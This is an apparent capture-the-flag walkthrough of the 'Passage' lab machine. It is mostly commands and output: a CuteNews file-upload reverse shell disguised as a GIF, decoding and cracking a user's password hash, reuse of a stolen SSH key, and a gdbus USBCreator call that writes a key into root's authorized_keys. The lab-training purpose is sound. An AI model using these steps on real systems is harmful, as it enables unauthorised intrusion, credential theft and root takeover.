# CUTENEWS FILE UPLOAD EXPLOIT

# REVERSE PHP ( MAGIC BYTES GIF)

# PRIVESC USING GDBUS

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

http://passage.htb/CuteNews/

```
CuteNews 2.1.2 - Authenticated Arbitrary File Upload                         | php/webapps/48458.txt
```

1)REGISTER A USERNAME

```
root@kali:/home/kali/Desktop/htb/passage# file reverse.php
reverse.php: GIF image data 16188 x 26736
root@kali:/home/kali/Desktop/htb/passage# mv reverse.php reverse.png
root@kali:/home/kali/Desktop/htb/passage# mv reverse.php reverse.gif
mv: cannot stat 'reverse.php': No such file or directory
root@kali:/home/kali/Desktop/htb/passage# mv reverse.png reverse.gif
```

LOAD BURPSUITE

UPLOAD GIF FILE AND CHANGE TO PHP USING BURP

```
root@kali:/home/kali/Desktop/htb/passage# nc -nlvp 1337
```

shell gained!!!!!

```
www-data@passage:/var/www/html/CuteNews/cdata/users$ ls -lah
total 228K
drwxrwxrwx  2 www-data www-data 4.0K Sep 14 06:08 .
drwxrwxrwx 11 www-data www-data 4.0K Sep 14 06:00 ..
```

```
-rw-r--r--  1 www-data www-data  621 Sep 14 04:13 03.php

-rw-r--r--  1 www-data www-data  621 Sep 14 04:30 09.php

-rw-r--r--  1 www-data www-data  109 Aug 30 16:23 0a.php

-rw-r--r--  1 www-data www-data  609 Sep 14 05:13 0e.php

-rw-r--r--  1 www-data www-data  105 Sep 14 04:07 11.php

-rw-r--r--  1 www-data www-data  125 Aug 30 16:23 16.php

-rw-r--r--  1 www-data www-data  137 Sep 14 04:11 18.php

-rw-r--r--  1 www-data www-data  609 Sep 14 05:47 1f.php

-rw-r--r--  1 www-data www-data  449 Sep 14 04:06 21.php

-rw-r--r--  1 www-data www-data  109 Aug 31 14:54 32.php

-rw-r--r--  1 www-data www-data  117 Sep 14 04:11 3a.php

-rw-r--r--  1 www-data www-data  117 Sep 14 04:06 3d.php

-rw-r--r--  1 www-data www-data  129 Sep 14 04:15 40.php

-rw-r--r--  1 www-data www-data  609 Sep 14 04:06 46.php

-rw-r--r--  1 www-data www-data  561 Sep 14 04:09 4c.php

-rw-r--r--  1 www-data www-data  137 Sep 14 05:09 4f.php

-rwxr-xr-x  1 www-data www-data  113 Jun 18 08:28 52.php

-rw-r--r--  1 www-data www-data  117 Sep 14 05:13 57.php

-rw-r--r--  1 www-data www-data  137 Sep 14 05:47 5b.php

-rw-r--r--  1 www-data www-data  621 Sep 14 04:17 5d.php

-rwxr-xr-x  1 www-data www-data  129 Jun 18 08:28 66.php

-rw-r--r--  1 www-data www-data  109 Sep 14 04:15 6d.php

-rw-r--r--  1 www-data www-data  133 Aug 31 14:54 6e.php

-rw-r--r--  1 www-data www-data  105 Sep 14 06:00 72.php

-rwxr-xr-x  1 www-data www-data  117 Jun 18 08:27 77.php

-rwxr-xr-x  1 www-data www-data  481 Jun 18 09:07 7a.php

-rw-r--r--  1 www-data www-data  117 Sep 14 04:09 7c.php

-rw-r--r--  1 www-data www-data  609 Sep 14 05:09 83.php

-rwxr-xr-x  1 www-data www-data  109 Jun 18 08:24 8f.php

-rw-r--r--  1 www-data www-data  197 Sep 14 05:09 95.php

-rw-r--r--  1 www-data www-data  105 Sep 14 04:07 96.php
```

```
-rwxr-xr-x  1 www-data www-data  129 Jun 18 08:28 97.php

-rw-r--r--  1 www-data www-data  137 Sep 14 04:18 a1.php

-rw-r--r--  1 www-data www-data  137 Sep 14 04:06 a6.php

-rw-r--r--  1 www-data www-data  117 Sep 14 04:18 af.php

-rw-r--r--  1 www-data www-data  489 Sep 14 05:08 b0.php

-rw-r--r--  1 www-data www-data 1.2K Sep 14 04:18 b3.php

-rw-r--r--  1 www-data www-data  121 Sep 14 04:07 b6.php

-rw-r--r--  1 www-data www-data  121 Sep 14 04:07 c5.php

-rw-r--r--  1 www-data www-data  137 Sep 14 04:06 c7.php

-rwxr-xr-x  1 www-data www-data  481 Jun 18 09:46 c8.php

-rw-r--r--  1 www-data www-data  109 Sep 14 04:07 ca.php

-rw-r--r--  1 www-data www-data  581 Sep 14 05:02 cc.php

-rw-r--r--  1 www-data www-data  125 Sep 14 04:07 d4.php

-rwxr-xr-x  1 www-data www-data   45 Jun 18 09:08 d5.php

-rw-r--r--  1 www-data www-data 1.2K Aug 31 14:55 d6.php

-rw-r--r--  1 www-data www-data  137 Sep 14 05:13 df.php

-rw-r--r--  1 www-data www-data  109 Sep 14 04:09 e0.php

-rw-r--r--  1 www-data www-data  609 Sep 14 04:06 e1.php

-rw-r--r--  1 www-data www-data  557 Sep 14 06:08 e2.php

-rw-r--r--  1 www-data www-data  117 Sep 14 05:47 e8.php

-rw-r--r--  1 www-data www-data  117 Sep 14 04:06 f3.php

-rwxr-xr-x  1 www-data www-data  113 Jun 18 08:28 fc.php

-rw-r--r--  1 www-data www-data  117 Sep 14 06:00 fe.php

-rw-r--r--  1 www-data www-data 3.8K Aug 30 17:54 lines

-rw-r--r--  1 www-data www-data    0 Jun 18 08:24 users.txt

www-data@passage:/var/www/html/CuteNews/cdata/users$ cat b0.php

<?php die('Direct call - access denied'); ?>
```

YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5h
bWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5
odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2
OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTYwMDA4NTMxNSI7czozOiJiY
W4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19www-data@passage:/var/www/html/CuteNews/cdata/users$

```
root@kali:/home/kali/Desktop/tools# echo
"YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5
hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS
5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU
2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTYwMDA4NTMxNSI7czozOiJiY
W4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19" |base64 -d
```

```
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-
coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul
Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"160008
5315";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
```

https://crackstation.net/

| | |
|---|---|
| sha256 | atlanta1 |

Paul – atlanta1

Get id_rsa from paul .ssh directory and use it to ssh nadav user

```
root@kali:/home/kali/Desktop/htb/passage# ssh -i id_rsa nadav@passage.htb

nadav@passage:~$ id

uid=1000(nadav) gid=1000(nadav)
groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

nadav@passage:~$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description:    Ubuntu 16.04.6 LTS

Release:        16.04

Codename:       xenial
```

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

```
nadav@passage:~$ which gdbus

/usr/bin/gdbus

root@kali:~/.ssh# cat id_rsa.pub

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDQAVGY9QSKImtnaXYIpsF2/Ra1yQrTwddVjAgrb3cQEiF8eg1pS4j/Y8degbQBuiSGplK
XeJcfqX/gZjLX4W+oyZ9ar0C24DKniFlhzlj0kPVS4lhTOkoEYBP7mVEgGCEqPByLq0B9dIO5ub63KOBzen93NB8CYbaH16smvajCy
E6GRtYk2K4MZ72E1e0XB38e6QIWfwF140+Sny7Tu19NlmcxHfy5ChNCO/yw9NEmvPkYH7P+K4iI0Ir+2vvtVc83IQEmLtouGawiJ
l/ovlDEY1SMAad1BGj2pqgaAx1SDa4ahPbEC+J3wkLuywryOMk6PVwUOSyxpfIiMYOGyJ9WwChur5m/MkhakuAPLvRaWq97p
3DYfKtpaTe2Th7mhgQKZ8rRFfGjGdcrmhLEGk1HxVSrgt/CagZrrR3c4k29bHEUYYuuF3q51Av4qwk5ketv0/s6I7VLaopLiwVprR2c
FVKTMX5jajXU/B7YvPEReNt2YX9YMlL3G2cArC0JKHE=
nadav@passage:~$ echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDQAVGY9QSKImtnaXYIpsF2/Ra1yQrTwddVjAgrb3cQEiF8eg1pS4j/Y8degbQBuiSGplK
XeJcfqX/gZjLX4W+oyZ9ar0C24DKniFlhzlj0kPVS4lhTOkoEYBP7mVEgGCEqPByLq0B9dIO5ub63KOBzen93NB8CYbaH16smvajCy
E6GRtYk2K4MZ72E1e0XB38e6QIWfwF140+Sny7Tu19NlmcxHfy5ChNCO/yw9NEmvPkYH7P+K4iI0Ir+2vvtVc83IQEmLtouGawiJ
l/ovlDEY1SMAad1BGj2pqgaAx1SDa4ahPbEC+J3wkLuywryOMk6PVwUOSyxpfIiMYOGyJ9WwChur5m/MkhakuAPLvRaWq97p
3DYfKtpaTe2Th7mhgQKZ8rRFfGjGdcrmhLEGk1HxVSrgt/CagZrrR3c4k29bHEUYYuuF3q51Av4qwk5ketv0/s6I7VLaopLiwVprR2c
FVKTMX5jajXU/B7YvPEReNt2YX9YMlL3G2cArC0JKHE=" > /home/nadav/authorized_keys
```

```
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method
com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true

()
```

```
root@kali:~/.ssh# ssh -i id_rsa root@passage.htb
```

ROOTED!!!